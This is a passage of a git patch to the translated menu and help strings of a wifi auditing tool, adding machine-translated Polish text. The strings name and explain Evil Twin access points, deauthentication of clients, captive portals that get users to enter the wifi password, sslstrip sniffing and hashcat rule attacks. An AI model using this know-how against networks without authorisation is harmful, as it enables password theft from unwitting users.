${pink_color}${RULES}${normal_color}" arr["ENGLISH",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros has predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["SPANISH",244]="Los ataques basados en reglas modifican las palabras de la lista del diccionario según las reglas escritas en el propio fichero de reglas. Son muy útiles. Algunas distros ya traen ficheros predefinidos de reglas (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" @@ -2918,7 +2918,7 @@ function language_strings() { arr["RUSSIAN",244]="Атака, основанная на правилах, изменяет слова из словаря в соответствии с правилами, написанными в самом файле правил. Они очень полезны. Некоторые дистрибутивы имеют предустановленные правила (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["GREEK",244]="Οι επιθέσεις κανόνων αλλάζουν τις λέξεις του λεξικού ανάλογα με τους κανόνες που έχουν γραφτεί στο αρχείο κανόνων. Είναι πολύ χρήσιμοι. Κάποιες διανομές έχουν προκαθορισμένα αρχεία κανόνων (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["ITALIAN",244]="Gli attacchi basato su regole cambiano le parole della lista del dizionario secondo le regole scritte nel file delle regole stesso. Essi sono molto utili. Alcune distribuzioni hanno giá file di regole predefiniti (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" - arr["POLISH",244]="${pending_of_translation} " + arr["POLISH",244]="${pending_of_translation} Ataki bazujące na regułach modyfikują wyrazy z listy słowników zgodnie z regułami zapisanymi w pliku reguł. Są bardzo przydatne. Niektóre distros mają już predefiniowane pliki reguł (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["ENGLISH",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["SPANISH",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" @@ -2928,7 +2928,7 @@ function language_strings() { arr["RUSSIAN",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["GREEK",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["ITALIAN",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" - arr["POLISH",245]="${pending_of_translation} " + arr["POLISH",245]="${pending_of_translation} // ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["ENGLISH",246]="Every time you see a text with the prefix ${cyan_color}${pending_of_translation}${pink_color} acronym for \"Pending of Translation\", means the translation has been automatically generated and is still pending of review" arr["SPANISH",246]="Cada vez que veas un texto con el prefijo ${cyan_color}${pending_of_translation}${pink_color} acrónimo de \"Pending of Translation\", significa que su traducción ha sido generada automáticamente y que aún está pendiente de revisión" @@ -2938,7 +2938,7 @@ function language_strings() { arr["RUSSIAN",246]="Каждый раз, когда вы видите текст с префиксом ${cyan_color}${pending_of_translation}${pink_color} (акроним для \"Pending of Translation\"), это означает, что перевод был сгенерирован автоматически и ещё ожидает проверки" arr["GREEK",246]="Κάθε φορά που θα βλέπετε κείμενο με πρόθεμα ${cyan_color}${pending_of_translation}${pink_color} ακρωνύμιο για \"Pending of Translation\", σημαίνει πως η μετάφραση δημιουργήθηκε αυτόματα και αναμένεται κριτική" arr["ITALIAN",246]="Ogni volta che vedi un testo con il prefisso ${cyan_color}${pending_of_translation}${pink_color} acronimo di \"Pending of Translation\" significa che la traduzione è stata generata automaticamente ed è ancora in attesa di revisione" - arr["POLISH",246]="${pending_of_translation} " + arr["POLISH",246]="${pending_of_translation} Za każdym razem, gdy zobaczysz tekst z symbolem ${cyan_color}${pending_of_translation}${pink_color} dla \"Pending of Translation\", to tłumaczenie zostało automatycznie wygenerowane i nadal oczekuje na rewizję" arr["ENGLISH",247]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install ethtool and you don't have it right now. Please, install it and launch the script again" arr["SPANISH",247]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado ethtool y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -2948,7 +2948,7 @@ function language_strings() { arr["RUSSIAN",247]="Не смотря на то, что все базовые инструменты установлены, система использует airmon-zc вместо airmon-ng. Чтобы работать должным образом, должен быть установлен пакет ethtool, а в данный момент он отсутствует. Пожалуйста, установите его и запустите скрипт снова" arr["GREEK",247]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το ethtool το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["ITALIAN",247]="Pur avendo tutti gli strumenti essenziali installati, il sistema utilizza airmon-zc invece di airmon-ng. Per funzionare è necessario installare ethtool e tu non lo hai in questo momento. Si prega di installaro e lanciare nuovamente lo script" - arr["POLISH",247]="${pending_of_translation} " + arr["POLISH",247]="${pending_of_translation} Mimo że zainstalowano wszystkie niezbędne narzędzia, system zamiast airmon-ng wykorzystuje system airmon-zc. Aby móc funkcjonować, musisz zainstalować program ethtool i nie masz go teraz. Zainstaluj go i ponownie uruchom skrypt" arr["ENGLISH",248]="Language changed to Portuguese" arr["SPANISH",248]="Idioma cambiado a Portugués" @@ -2958,7 +2958,7 @@ function language_strings() { arr["RUSSIAN",248]="Язык изменён на португальский" arr["GREEK",248]="Η γλώσσα άλλαξε στα Πορτογαλικά" arr["ITALIAN",248]="Lingua cambiata a Portoghese" - arr["POLISH",248]="${pending_of_translation} " + arr["POLISH",248]="${pending_of_translation} Język zmieniono na język Portugalski" arr["ENGLISH",249]="5. Portuguese" arr["SPANISH",249]="5. Portugués" @@ -2968,7 +2968,7 @@ function language_strings() { arr["RUSSIAN",249]="5. Португальский" arr["GREEK",249]="5. Πορτογαλικά" arr["ITALIAN",249]="5. Portoghese" - arr["POLISH",249]="${pending_of_translation} " + arr["POLISH",249]="${pending_of_translation} 5. Portugalski" arr["ENGLISH",250]="If you see any bad translation or just want ${cyan_color}${pending_of_translation}${pink_color} marks to dissapear, write me to ${normal_color}${mail}${pink_color} to collaborate with translations" arr["SPANISH",250]="Si ves alguna traducción incorrecta o quieres que desparezcan las marcas ${cyan_color}${pending_of_translation}${pink_color}, escríbeme a ${normal_color}${mail}${pink_color} para colaborar con las traducciones" @@ -2978,7 +2978,7 @@ function language_strings() { arr["RUSSIAN",250]="Если вы видите плохой перевод или просто хотите снять пометку ${cyan_color}${pending_of_translation}${pink_color} напишите мне на ${normal_color}${mail}${pink_color} для сотрудничества с переводчиками" arr["GREEK",250]="Αν δείτε κάποια κακή μετάφραση ή απλά θέλετε τα σημάδια ${cyan_color}${pending_of_translation}${pink_color} να εξαφανιστούν, στείλτε μου στο ${normal_color}${mail}${pink_color} για να συνεργαστούμε με τις μεταφράσεις" arr["ITALIAN",250]="Se vedi qualche errore di traduzione o vuoi che spariscano le marche ${cyan_color}${pending_of_translation}${pink_color}, scrivimi a ${normal_color}${mail}${pink_color} per collaborare con le traduzioni" - arr["POLISH",250]="${pending_of_translation} " + arr["POLISH",250]="${pending_of_translation} Jeśli widzisz nieprawidłowe tłumaczenie lub chcesz zniknąć tagi ${cyan_color}${pending_of_translation}${pink_color}, napisz do mnie ${normal_color}${mail}${pink_color}, aby współpracować z tłumaczeniami" arr["ENGLISH",251]="You have chosen the same language that was selected. No changes will be done" arr["SPANISH",251]="Has elegido el mismo idioma que estaba seleccionado. No se realizarán cambios" From f188b29bd926a8fa3689863910287e7fc204bd7f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 23 Oct 2017 00:51:20 +0200 Subject: [PATCH 15/70] Added more polish automatic translated strings (almost finished) --- language_strings.sh | 344 ++++++++++++++++++++++---------------------- 1 file changed, 172 insertions(+), 172 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index e51d65437..3280e1595 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171022 +#Date.........: 20171023 #Bash Version.: 4.2 or later #Set language_strings file version @@ -2988,7 +2988,7 @@ function language_strings() { arr["RUSSIAN",251]="Вы выбрали такой же язык, какой и был. Никаких изменений не будет сделано" arr["GREEK",251]="Επιλέξατε την ίδια γλώσσα που ήταν ήδη επιλεγμένη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",251]="Hai scelto la stessa lingua che è giá selezionata. Non sará effettutata nessuna modifica" - arr["POLISH",251]="${pending_of_translation} " + arr["POLISH",251]="${pending_of_translation} Wybrałeś ten sam język, który został wybrany. Nie zostaną wprowadzone żadne zmiany" arr["ENGLISH",252]="7. Evil Twin attacks menu" arr["SPANISH",252]="7. Menú de ataques Evil Twin" @@ -2998,7 +2998,7 @@ function language_strings() { arr["RUSSIAN",252]="7. Меню атак Злой Двойник" arr["GREEK",252]="7. Μενού επιθέσεων Evil Twin" arr["ITALIAN",252]="7. Menu degli attacchi Evil Twin" - arr["POLISH",252]="${pending_of_translation} " + arr["POLISH",252]="${pending_of_translation} 7. Menu ataku Evil Twin" arr["ENGLISH",253]="Evil Twin attacks menu" arr["SPANISH",253]="Menú de ataques Evil Twin" @@ -3008,7 +3008,7 @@ function language_strings() { arr["RUSSIAN",253]="Меню атак Злой Двойник" arr["GREEK",253]="Μενού επιθέσεων Evil Twin" arr["ITALIAN",253]="Menu degli attacchi Evil Twin" - arr["POLISH",253]="${pending_of_translation} " + arr["POLISH",253]="${pending_of_translation} Menu ataku Evil Twin" arr["ENGLISH",254]="In order to use the Evil Twin just AP and sniffing attacks, you must have another one interface in addition to the wifi network interface will become the AP, which will provide internet access to other clients on the network. This doesn't need to be wifi, can be ethernet" arr["SPANISH",254]="Para utilizar los ataques de Evil Twin de solo AP y con sniffing, deberás tener además de la interfaz wifi que se transformará en el AP, otra interfaz de red con acceso a internet para proporcionar este servicio a otros clientes de la red. Esta no hace falta que sea wifi, puede ser ethernet" @@ -3018,7 +3018,7 @@ function language_strings() { arr["RUSSIAN",254]="Чтобы использовать Злого Двойника точки доступа и атаку сниффинга, вы должны иметь другой интерфейс в дополнение к сетевому интерфейсу wifi. Сетевой интерфейс wifi станет точкой доступа, к которому будут подключаться жертвы. Для того, чтобы у этой точки доступа было Интернет-подключение и используется второй сетевой адаптер. Ему необязательно быть wifi, достаточно ethernet" arr["GREEK",254]="Για να χρησιμοποιήσετε τις επιθέσεις sniffing και Evil Twin με AP, πρέπει να έχετε άλλη μία διεπαφή παράλληλα με την διεπαφή δικτύου wifi που θα γίνει AP, η οποία θα παρέχει πρόσβαση στο διαδίκτυο στους άλλες χρήστες του δικτύου. Δεν χρειάζεται να είναι wifi, μπορεί να έιναι και ethernet" arr["ITALIAN",254]="Per utilizzare gli attacchi Evil Twin con solo AP e con sniffing, è necessario che, oltre all'interfaccia wifi che diventerà l'AP, sia presente un'altra interfaccia di rete con connessione internet per fornire questo servizio agli altri clienti della rete. Questo non ha bisogno di essere wifi, può essere ethernet" - arr["POLISH",254]="${pending_of_translation} " + arr["POLISH",254]="${pending_of_translation} Aby używać ataków Evil Twin tylko z AP i przyswajania, musisz oprócz interfejsu wifi, który stanie się AP, innym interfejsem sieciowym z dostępem do internet, aby świadczyć tę usługę innym klientom w sieci. To nie musi być wifi, może to być ethernet" arr["ENGLISH",255]="without sniffing, just AP" arr["SPANISH",255]="sin sniffing, solo AP" @@ -3028,7 +3028,7 @@ function language_strings() { arr["RUSSIAN",255]="без сниффинга, просто ТД" arr["GREEK",255]="χωρίς sniffing, μόνο AP" arr["ITALIAN",255]="senza sniffing, solo AP" - arr["POLISH",255]="${pending_of_translation} " + arr["POLISH",255]="${pending_of_translation} brak sniffing, tylko AP" arr["ENGLISH",256]="5. Evil Twin attack just AP" arr["SPANISH",256]="5. Ataque Evil Twin solo AP" @@ -3038,7 +3038,7 @@ function language_strings() { arr["RUSSIAN",256]="5. Атака Злой Двойник, только ТД" arr["GREEK",256]="5. Επίθεση Evil Twin μόνο AP" arr["ITALIAN",256]="5. Attacco Evil Twin solo AP" - arr["POLISH",256]="${pending_of_translation} " + arr["POLISH",256]="${pending_of_translation} Ataku Evil Twin tylko AP" arr["ENGLISH",257]="with sniffing" arr["SPANISH",257]="con sniffing" @@ -3048,7 +3048,7 @@ function language_strings() { arr["RUSSIAN",257]="со сниффингом" arr["GREEK",257]="με sniffing" arr["ITALIAN",257]="con sniffing" - arr["POLISH",257]="${pending_of_translation} " + arr["POLISH",257]="${pending_of_translation} z sniffing" arr["ENGLISH",258]="If you use the attack without sniffing, just AP, you'll can use any external to script sniffer software" arr["SPANISH",258]="Si utilizas el ataque sin sniffing, solo AP, podrás usar cualquier programa sniffer externo al script" @@ -3058,7 +3058,7 @@ function language_strings() { arr["RUSSIAN",258]="Если вы используете атаку без сниффинга, только ТД, то вы сможете использовать любое внешнее ПО для сниффинга" arr["GREEK",258]="Αν χρησιμοποιήσετε την επίθεση χωρίς sniffing, μόνο AP, θα μπορείτε να χρησιμοποιήσετε οποιοδήποτε εξωτερίκό sniffer script" arr["ITALIAN",258]="Se si utilizza l'attacco senza sniffing, solo AP, è possibile utilizzare qualsiasi programma di sniffer esterno per lo script" - arr["POLISH",258]="${pending_of_translation} " + arr["POLISH",258]="${pending_of_translation} Jeśli użyjesz ataku bez sniffing, tylko AP, możesz użyć dowolnego programu snifferującego do skryptu" arr["ENGLISH",259]="6. Evil Twin AP attack with sniffing" arr["SPANISH",259]="6. Ataque Evil Twin AP con sniffing" @@ -3068,7 +3068,7 @@ function language_strings() { arr["RUSSIAN",259]="6. Атака Злой Двойник ТД со сниффингом" arr["GREEK",259]="6. Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",259]="6. Attacco Evil Twin AP con sniffing" - arr["POLISH",259]="${pending_of_translation} " + arr["POLISH",259]="${pending_of_translation} 6. Ataku Evil Twin AP z sniffing" arr["ENGLISH",260]="10. Return to main menu" arr["SPANISH",260]="10. Volver al menú principal" @@ -3078,7 +3078,7 @@ function language_strings() { arr["RUSSIAN",260]="10. Возврат в главное меню" arr["GREEK",260]="10. Επιστροφή στο αρχικό μενού" arr["ITALIAN",260]="10. Tornare al menú principale" - arr["POLISH",260]="${pending_of_translation} " + arr["POLISH",260]="${pending_of_translation} 10. Wróć do menu głównego" arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and sslstrip" arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y sslstrip" @@ -3088,7 +3088,7 @@ function language_strings() { arr["RUSSIAN",261]="7. Атака Злой Двойник ТД со сниффингом и sslstrip" arr["GREEK",261]="7. Επίθεση Evil Twin AP με sniffing και sslstrip" arr["ITALIAN",261]="7. Attacco Evil Twin AP con sniffing e sslstrip" - arr["POLISH",261]="${pending_of_translation} " + arr["POLISH",261]="${pending_of_translation} 7. Ataku Evil Twin AP z sniffing i sslstrip" arr["ENGLISH",262]="without sniffing, captive portal" arr["SPANISH",262]="sin sniffing, portal cautivo" @@ -3098,7 +3098,7 @@ function language_strings() { arr["RUSSIAN",262]="без сниффинга, перехватывающий портал" arr["GREEK",262]="χωρίς sniffing, captive portal" arr["ITALIAN",262]="senza sniffing, captive portal" - arr["POLISH",262]="${pending_of_translation} " + arr["POLISH",262]="${pending_of_translation} bez sniffing, w niewoli portal" arr["ENGLISH",263]="9. Evil Twin AP attack with captive portal (monitor mode needed)" arr["SPANISH",263]="9. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" @@ -3108,7 +3108,7 @@ function language_strings() { arr["RUSSIAN",263]="9. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" arr["GREEK",263]="9. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",263]="9. Attacco Evil Twin AP con captive portal (modalità monitor richiesta)" - arr["POLISH",263]="${pending_of_translation} " + arr["POLISH",263]="${pending_of_translation} 9. Ataku Evil Twin AP z wmontowanym portalem (wymagany tryb monitora)" arr["ENGLISH",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["SPANISH",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -3118,7 +3118,7 @@ function language_strings() { arr["RUSSIAN",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" arr["GREEK",264]="Η επίθεση captive portal κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό πρόσβασης του δικτύου wifi βάζοντάς τον στο portal μας" arr["ITALIAN",264]="L'attacco con il captive portal cercherà di ottenere che uno dei clienti della rete ci dia la password per la rete wireless inserendola sul nostro sito" - arr["POLISH",264]="${pending_of_translation} " + arr["POLISH",264]="${pending_of_translation} Atak w więzionym portalu spróbuje dostać jednego z klientów sieci, aby dostarczyć nam hasło sieci wifi, wprowadzając ją do naszego portalu" arr["ENGLISH",265]="Evil Twin deauth" arr["SPANISH",265]="Desautenticación para Evil Twin" @@ -3128,7 +3128,7 @@ function language_strings() { arr["RUSSIAN",265]="Деаутентификация для Злого Двойника" arr["GREEK",265]="Evil Twin deauth" arr["ITALIAN",265]="Desautenticazione per Evil Twin" - arr["POLISH",265]="${pending_of_translation} " + arr["POLISH",265]="${pending_of_translation} Deauthenticacji dla Evil Twin" arr["ENGLISH",266]="4. Return to Evil Twin attacks menu" arr["SPANISH",266]="4. Volver al menú de ataques Evil Twin" @@ -3138,7 +3138,7 @@ function language_strings() { arr["RUSSIAN",266]="4. Вернуться в меню атак Злой Двойник" arr["GREEK",266]="4. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",266]="4. Tornare al menu attacchi Evil Twin" - arr["POLISH",266]="${pending_of_translation} " + arr["POLISH",266]="${pending_of_translation} 4. Wróć do menu Evil Twin Atak" arr["ENGLISH",267]="If you can't deauth clients from an AP using an attack, choose another one :)" arr["SPANISH",267]="Si no consigues desautenticar a los clientes de un AP con un ataque, elige otro :)" @@ -3148,7 +3148,7 @@ function language_strings() { arr["RUSSIAN",267]="Если вы не можете деаутентифицировать клиентов от ТД используя эту атаку, выберите другую :)" arr["GREEK",267]="Αν δεν μπορείτε να κάνετε deauth τους χρήστες από ένα AP χρησιμοποιώντας μία επίθεση, διαλέξτε κάποια άλλη :)" arr["ITALIAN",267]="Se non è possibile scollegare i clienti da un AP con un attacco, scegline un altro :)" - arr["POLISH",267]="${pending_of_translation} " + arr["POLISH",267]="${pending_of_translation} Jeśli nie możesz dezaktywować klientów AP z atakiem, wybierz inny :)" arr["ENGLISH",268]="With this attack, we'll try to deauth clients from the legitimate AP. Hopefully they'll reconnect to our Evil Twin AP" arr["SPANISH",268]="Con este ataque, intentaremos desautenticar a los clientes del AP legítimo. Con suerte reconectarán pero a nuestro Evil Twin AP" @@ -3158,7 +3158,7 @@ function language_strings() { arr["RUSSIAN",268]="Этой атакой мы попытаемся деаутентифицировать клиентов от легитимной ТД. В надежде, что они переподключатся к нашему Злому Двойнику ТД" arr["GREEK",268]="Με αυτήν την επίθεση, θα προσπαθήσουμε να κάνουμε deauth τους χρήστες από το αρχικό AP. Ας ελπίσουμε ότι θα επανασυνδεθούν στο Evil Twin AP μας" arr["ITALIAN",268]="Con questo attacco, si cerca di scollegare i clienti dal AP legittimo. Se abbiamo fortuna si riconnetteranno al nostro Evil Twin AP" - arr["POLISH",268]="${pending_of_translation} " + arr["POLISH",268]="${pending_of_translation} W tym ataku podejmiemy próbę dezaktywacji legalnych klientów AP. Z powodzeniem będą się łączyć, ale z naszym Evil Twin AP" arr["ENGLISH",269]="To perform an Evil Twin attack you'll need to be very close to the target AP or have a very powerful wifi antenna. Your signal must reach clients equally strong or more than the legitimate AP" arr["SPANISH",269]="Para realizar un ataque Evil Twin necesitarás estar muy cerca del AP objetivo o tener una antena wifi muy potente. Tu señal ha de llegar a los clientes igual de fuerte o más que la del AP legítimo" @@ -3168,7 +3168,7 @@ function language_strings() { arr["RUSSIAN",269]="Для выполнения атаки Злой Двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную wifi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" arr["GREEK",269]="Για να πραγματοποιηθεί μία επίθεση Evil Twin θα πρέπει να είστε αρκετά κοντά στο AP-στόχο ή να έχετε μία πολύ ισχυρή κεραία. Το σήμα πρέπει να φτάνει στους χρήστες το ίδιο ή περισσότερο από το αρχικό AP" arr["ITALIAN",269]="Per un attacco Evil Twin c'è bisogno di essere vicino al punto di accesso obiettivo o di avere un'antenna wifi potente. Il segnale deve raggiungere i clienti come o piú forte che il legittimo AP" - arr["POLISH",269]="${pending_of_translation} " + arr["POLISH",269]="${pending_of_translation} Aby wykonać atak Evil Twin, musisz być bardzo blisko docelowego punktu dostępowego lub mieć bardzo silną antenę wifi. Twój sygnał musi dotrzeć do klientów tak samo silny, jak i większy od legalnego AP" arr["ENGLISH",270]="Evil Twin attack just AP" arr["SPANISH",270]="Ataque Evil Twin solo AP" @@ -3178,7 +3178,7 @@ function language_strings() { arr["RUSSIAN",270]="Атака Злой Двойник, просто ТД" arr["GREEK",270]="Επίθεση Evil Twin μόνο AP" arr["ITALIAN",270]="Attacco Evil Twin solo AP" - arr["POLISH",270]="${pending_of_translation} " + arr["POLISH",270]="${pending_of_translation} Ataku Evil Twin tylko AP" arr["ENGLISH",271]="Selected BSSID: ${pink_color}None${normal_color}" arr["SPANISH",271]="BSSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3188,7 +3188,7 @@ function language_strings() { arr["RUSSIAN",271]="Выбранная BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",271]="Επιλεγμένο BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",271]="BSSID selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",271]="${pending_of_translation} " + arr["POLISH",271]="${pending_of_translation} BSSID został wybrany: ${pink_color}Brak${normal_color}" arr["ENGLISH",272]="Deauthentication chosen method: ${pink_color}${et_dos_attack}${normal_color}" arr["SPANISH",272]="Método elegido de desautenticación: ${pink_color}${et_dos_attack}${normal_color}" @@ -3198,7 +3198,7 @@ function language_strings() { arr["RUSSIAN",272]="Выбор метода деаутентификации: ${pink_color}${et_dos_attack}${normal_color}" arr["GREEK",272]="Επιλεγμένη μέθοδος για deauthentication: ${pink_color}${et_dos_attack}${normal_color}" arr["ITALIAN",272]="Metodo deauth scelto: ${pink_color}${et_dos_attack}${normal_color}" - arr["POLISH",272]="${pending_of_translation} " + arr["POLISH",272]="${pending_of_translation} Wybrana metoda deauthenticacji: ${pink_color}${et_dos_attack}${normal_color}" arr["ENGLISH",273]="Selected channel: ${pink_color}None${normal_color}" arr["SPANISH",273]="Canal seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3208,7 +3208,7 @@ function language_strings() { arr["RUSSIAN",273]="Выбранный канал: ${pink_color}Нет${normal_color}" arr["GREEK",273]="Επιλεγμένο κανάλι: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",273]="Canale selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",273]="${pending_of_translation} " + arr["POLISH",273]="${pending_of_translation} Wybrany kanał: ${pink_color}Brak${normal_color}" arr["ENGLISH",274]="Selected ESSID: ${pink_color}None${normal_color}" arr["SPANISH",274]="ESSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3218,7 +3218,7 @@ function language_strings() { arr["RUSSIAN",274]="Выбранная ESSID: ${pink_color}Нет${normal_color}" arr["GREEK",274]="Επιλεγμένο ESSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",274]="ESSID selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",274]="${pending_of_translation} " + arr["POLISH",274]="${pending_of_translation} Wybrano ESSID: ${pink_color}Brak${normal_color}" arr["ENGLISH",275]="In addition to the software requirements that already meet if you get here, you need to provide target AP data to carry out the attack" arr["SPANISH",275]="Además de los requisitos de software, que ya cumples si has llegado hasta aquí, es necesario proporcionar los datos del AP objetivo para llevar a cabo el ataque" @@ -3228,7 +3228,7 @@ function language_strings() { arr["RUSSIAN",275]="В дополнение к требованиям по программному обеспечению, которым вы соответствуете, вам нужно обеспечить Интернет подключение вашей ТД для выполнения атаки" arr["GREEK",275]="Εκτός από τις απαιτήσεις του λογισμικού οι οποίες πληρούνται αν έχετε φτάσει έως εδώ, χρειάζεται να παρέχετε δεδομένα AP-στόχου για να πραγματοποιηθεί η επίθεση" arr["ITALIAN",275]="Oltre ai requisiti software che già soddisfi se sei arrivato qui, è necessario fornire i dati dell'AP obiettivo per effettuare l'attacco" - arr["POLISH",275]="${pending_of_translation} " + arr["POLISH",275]="${pending_of_translation} Oprócz wymogów dotyczących oprogramowania, które już spełniłeś, jeśli osiągniesz tutaj, konieczne jest dostarczenie docelowych danych AP do przeprowadzenia ataku" arr["ENGLISH",276]="On top of this screen you can see all that is needed to perform the attack. If any of the parameters has no value, you can enter it manually, or you can go back to select a target and then return here" arr["SPANISH",276]="En la parte superior de esta pantalla puedes ver todo lo que hace falta para realizar el ataque. Si alguno de los parámetros no tiene valor, puedes introducirlo manualmente, o puedes retroceder para seleccionar un objetivo y regresar aquí" @@ -3238,7 +3238,7 @@ function language_strings() { arr["RUSSIAN",276]="Наверху экрана вы можете увидеть всё, что вам нужно для выполнения этой атаки. Если какие-либо из этих параметров не имеют значения, вы можете ввести их вручную или вы можете вернуться назад для выбора цели, а затем вернуться сюда" arr["GREEK",276]="Πάνω από αυτή την οθόνη μπορείτε να δείτε ό,τι χρειάζεται για να εκτελεστεί η επίθεση. Αν κάποια παραμέτρος δεν έχει τιμή, μπορείτε να την εισάγετε χειροκίνητα, ή μπορείτε να πάτε πίσω για να επιλέξετε εαν στόχο και μετά να επιστρέψετε εδώ" arr["ITALIAN",276]="In cima a questa schermata è possibile vedere tutto ciò che è necessario per eseguire l'attacco. Se uno dei parametri non ha alcun valore, è possibile inserirlo manualmente, oppure si può tornare indietro per selezionare un target e tornare qui" - arr["POLISH",276]="${pending_of_translation} " + arr["POLISH",276]="${pending_of_translation} U góry tego ekranu można zobaczyć wszystko, co jest potrzebne do przeprowadzenia ataku. Jeśli któryś z parametrów nie ma wartości, możesz go wprowadzić ręcznie lub wrócić do wybranego celu i wrócić tutaj" arr["ENGLISH",277]="Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",277]="¿Deseas continuar? ${normal_color}${visual_choice}" @@ -3248,7 +3248,7 @@ function language_strings() { arr["RUSSIAN",277]="Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",277]="Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",277]="Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",277]="${pending_of_translation} " + arr["POLISH",277]="${pending_of_translation} Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",278]="Deauthentication chosen method: ${pink_color}None${normal_color}" arr["SPANISH",278]="Método elegido de desautenticación: ${pink_color}Ninguno${normal_color}" @@ -3258,7 +3258,7 @@ function language_strings() { arr["RUSSIAN",278]="Выбор метода деаутентификации: ${pink_color}Нет${normal_color}" arr["GREEK",278]="Επιλεγμένη μέθοδος deauthentication: ${pink_color}Καμία${normal_color}" arr["ITALIAN",278]="Metodo deauth scelto: ${pink_color}Nessuno${normal_color}" - arr["POLISH",278]="${pending_of_translation} " + arr["POLISH",278]="${pending_of_translation} Wybrana metoda deauthenticacji: ${pink_color}Brak${normal_color}" arr["ENGLISH",279]="Select another interface with internet access :" arr["SPANISH",279]="Selecciona otra interfaz que tenga acceso a internet :" @@ -3268,7 +3268,7 @@ function language_strings() { arr["RUSSIAN",279]="Выбор другого интерфейса с Интернет доступом :" arr["GREEK",279]="Επιλέξτε άλλη διεπαφή με προσβαση στο διαδίκτυο :" arr["ITALIAN",279]="Selezionare un'altra interfaccia che ha accesso a internet:" - arr["POLISH",279]="${pending_of_translation} " + arr["POLISH",279]="${pending_of_translation} Wybierz inny interfejs, który ma dostęp do internet :" arr["ENGLISH",280]="On this screen, it's supposed an additional interface to provide internet access is chosen, but you don't have anyone at this moment" arr["SPANISH",280]="En esta pantalla, se supone que deberías elegir otro interfaz adicional para proporcionar acceso a internet, pero no dispones de ninguno en este momento" @@ -3278,7 +3278,7 @@ function language_strings() { arr["RUSSIAN",280]="На этом экране предполагается, что выбран дополнительный интерфейс для предоставления Интернет доступа, но у вас его на текущий момент нет" arr["GREEK",280]="Σε αυτή την οθόνη, υποτίθεται πως επιλέγεται μία επιπρόσθετη διεπαφή που παρέχει πρόσβαση στο διαδίκτυο, αλλά δεν έχετε κανέναν αυτή τη στιγμή" arr["ITALIAN",280]="In questa schermata, si suppone che devi scegliere un'interfaccia aggiuntiva per fornire l'accesso a internet, peró in questo momento non ne hai nessuna" - arr["POLISH",280]="${pending_of_translation} " + arr["POLISH",280]="${pending_of_translation} Na tym ekranie powinieneś wybrać inny dodatkowy interfejs, aby zapewnić dostęp do internet, ale nie masz w tym momencie żadnego" arr["ENGLISH",281]="The interface ${interface} you have already selected is not a wifi card. This attack needs a wifi card selected" arr["SPANISH",281]="El interfaz ${interface} que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" @@ -3288,7 +3288,7 @@ function language_strings() { arr["RUSSIAN",281]="Интерфейс ${interface}, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" arr["GREEK",281]="Η διεπαφή ${interface} που έχετε 